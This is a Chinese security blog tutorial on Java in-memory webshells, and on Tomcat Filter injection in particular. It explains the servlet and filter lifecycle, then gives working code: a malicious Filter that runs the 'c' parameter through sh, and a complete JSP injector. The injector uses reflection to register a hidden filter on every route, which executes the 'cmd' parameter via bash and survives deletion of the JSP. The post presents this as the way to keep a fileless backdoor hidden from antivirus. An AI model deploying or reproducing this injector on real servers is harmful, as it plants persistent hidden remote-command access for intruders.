深入浅出内存马(一)

0x01 简述

0x0101 Webshell技术历程

在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。

0x0102 为什么会使用内存马?

传统Webshell连接方式,都是先通过某种漏洞将恶意的脚本木马文件上传,然后通过中国菜刀,或者蚁剑,冰蝎等Webshell管理软件进行链接。

这种方式目前仍然流行,但是由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时,于是乎,进化了一系列的加密一句话木马,但是这种方式还是不能绕过有类似文件监控的杀毒软件,于是乎进化了新一代的Webshell—》内存马

0x03 什么是内存马

内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器,我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码

0x03 内存马的类型

目前分为两种:

  1. Servlet-API型
    通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

    • filter型
    • servlet型
  2. 字节码增强型

    通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

  3. spring类

    • 拦截器
    • Controller型

0x02 内存马的原理

我们以Java Web举例,在Java Web中有三大组件分别是Servlet, Filter,Listener

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

Servlet程序是由WEB服务器调用,web服务器收到客户端的Servlet访问请求后:

  1. Web服务器首先检查是否已经装载并创建了该Servlet的实例对象。如果是,则直接执行第4步,否则,执行第2步。
  2. 装载并创建该Servlet的一个实例对象。
  3. 调用Servlet实例对象的init()方法。
  4. 创建一个用于封装HTTP请求消息的HttpServletRequest对象和一个代表HTTP响应消息的HttpServletResponse对象,然后调用Servlet的service()方法并将请求和响应对象作为参数传递进去。
  5. WEB应用程序被停止或重新启动之前,Servlet引擎将卸载Servlet,并在卸载之前调用Servlet的destroy()方法。

Filter

Filter译为过滤器。过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。

生命周期

public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。public void destroy();//销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

Listener

监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

主要由三部分构成:

  • 事件源:被监听的对象
  • 监听器:监听的对象,事件源的变化会触发监听器的响应行为
  • 响应行为:监听器监听到事件源的状态变化时所执行的动作

在初始化时,需要将事件源和监听器进行绑定,也就是注册监听器。

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Tomcat

在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

0x03 Tomcat Filter注入流程

通过上面的介绍,我们已经大致了解内存马的背景知识,现在我们来讲解Tomcat Filter类型的内存马,看看这种流程是什么样子的?

0x0301Tomcat Filter简单案例

新建filter

package com.evalshell.Filter;import javax.servlet.*;
import java.io.IOException;public class MyFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter 创建");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("执行过滤过程");filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {System.out.println("销毁!");}
}

Web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><servlet><servlet-name>HelloServlet</servlet-name><servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class></servlet><servlet-mapping><servlet-name>HelloServlet</servlet-name><url-pattern>/hello</url-pattern></servlet-mapping><filter><filter-name>MyFilter</filter-name><filter-class>com.evalshell.Filter.MyFilter</filter-class></filter><filter-mapping><filter-name>MyFilter</filter-name><url-pattern>/hello</url-pattern></filter-mapping></web-app>

就是我们创建一个servlet和一个filter 访问路由都是为/hello 。看下结果:

控制台输出

我们简单调试一下

对应Web.xml中的配置信息,这种方式就是为静态的添加filter的方式,filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的。

关于整个Filter的调用链 可以参考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 这个不是我们主要讲述的重点。

Filter调用链,可以引用宽字节安全总结的一张图来说明:

0x04 Filter型内存马注入

0x0401 动态创建Filter

我们调试一下filterChain.doFilter() 方法,启动服务,然后访问/hello即可调试:

继续跟进,可以看到doFilter() 的具体处理过程是在internalDoFilter()

然后最后调用service()方法去调用这个filter里面的内容

概述地说, FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

0x0402 一个简单Filter内存马案例

上面的描述总结下来就是如何在tomcat中动态的注入一条配置项和代码,拿filter类型举例子,那么我们如何创建一个Filter类型的内存马呢?

  1. 首先创建一个恶意Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
    ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);// 这样我们就获取到了 context StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

好的 那我们首先来编写一个filter的恶意类

package com.evalshell.Filter;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;public class MyFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter 创建");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("执行过滤过程");//测试只考虑linux环境下HttpServletRequest request = (HttpServletRequest) servletRequest;if (request.getParameter("c") != null){String[]  command = new String[]{"sh", "-c", request.getParameter("c")};InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");String output = scanner.hasNext() ? scanner.next() : "";servletResponse.getWriter().write(output);servletResponse.getWriter().flush();return;}filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {System.out.println("销毁!");}
}

运行效果:

可以看到这个就是在tomcat中没有任何shell文件,但是在过滤器中执行了我们的代码。

0x0402 最终实战

那么真实情况下,我们不可能直接修改项目中Filter的源码,因为就算修改了,想要生效也需要重启。所以我们需要动态的插入filter,那我们该如何操作呢?

最终代码如下:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "fengxuan";ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null){Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {//这里写上我们后门的主要代码HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}//别忘记带这个,不然的话其他的过滤器可能无法使用filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());// 将filterDef添加到filterDefs中standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();//拦截的路由规则,/* 表示拦截任意路由filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("注入成功");}
%>

访问这个页面

最后直接访问任意Servlet路由都可以执行命令

即使删除我们的注入文件filterdemo1.jsp也是一样可以执行,这样就可以达到无文件的Webshell管理方式了。

0x05 参考链接

http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html

更多优质文章请到风炫安全知识库:https://evalshell.com/

深入浅出内存马(一)相关推荐

  1. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  2. 从一个被Tomcat拒绝的漏洞到特殊内存马

    介绍 今天研究内存马相关的东西,偶然间发现一处解析BUG 一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下 ...

  3. 【Web安全】JSP内存马研究

    前言 最近在研究webshell免杀的问题,到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排 ...

  4. dll 源码_【技术分享】 | 一个JAVA内存马的源码分析

    前言 偶然接触到了这样一个JAVA内存马,其作者也是冰蝎的作者,项目地址: https://github.com/rebeyond/memShell 正好最近在接触JAVA,借此机会学习下大佬的代码, ...

  5. Servlet内存马

    1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...

  6. 内存马涉及基础知识整理

    内存马简介 1.1 webshell变迁 web服务器管理页面--> 大马-->小马拉大马-->一句话木马-->加密一句话木马 内存马是无文件攻击的一种常用手段,随着攻防演练热 ...

  7. Java内存马攻防实战——攻击基础篇

    ​ 在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...

  8. TemplatesImpl利用链与Fastjson注入内存马

    0x01 背景 之前文章中有说的,要加入星球访问:https://t.zsxq.com/0ahB6Mw1P TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它, ...

  9. Java Agent 型内存马调试系列 (一)

    0x00 前言 在JDK1.5以后,引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控.收集性能信息.诊断问题,通过 java.lang.in ...

最新文章

  1. windows10+Python3.7安装dlib库进行面部标志识别
  2. 我的第一个Python程序
  3. Install Oracle Instant Client on Linux and Windows
  4. Java设计模式(十六):生成器设计模式
  5. E - 数据结构实验之排序五:归并求逆序数
  6. javascript基本数据类型问题汇总
  7. mysql服务器性能剖析,高性能MySQL–服务器性能剖析
  8. gis环境设置在哪_三维GIS平台的可视化应用 (下)
  9. Oracle开发专题之:分析函数(OVER)
  10. 我的世界会员特效在服务器显示,腐竹教你在游戏中制作登录提示效果
  11. reflection java_Java Reflection (JAVA反射)
  12. CS224N笔记——高级词向量表示
  13. tf.image.resize_images
  14. koreader下载_koreader安卓下载
  15. stm32+TB6612驱动直流电机
  16. 识别连笔字的软件_3个最实用的字体识别的在线工具
  17. 决策树、随机森林及代码实战
  18. 高德地图—js.api
  19. 掠食细菌—蛭弧菌B. bacteriovorus,可以对抗革兰氏阴性感染?
  20. java 字符串像素_如何在JavaFX中计算字符串的像素宽度?

热门文章

  1. android No address associated with hostname错误
  2. 【旅行青蛙】你的蛙到底在干什么?
  3. VMware 安装ghost win7 gho
  4. rabbitmq的web管理界面-密码管理
  5. cesium添加填充_cesium实现注记功能
  6. 制作一个简单的倒计时动画
  7. CGCS2000国家大地坐标系参数
  8. Java Lambda reduce 例子 全网reduce最清晰易懂的例子,不服来辩 xxx XXX
  9. 提升自己的实力才是硬道理
  10. Gas Station (环形加油站)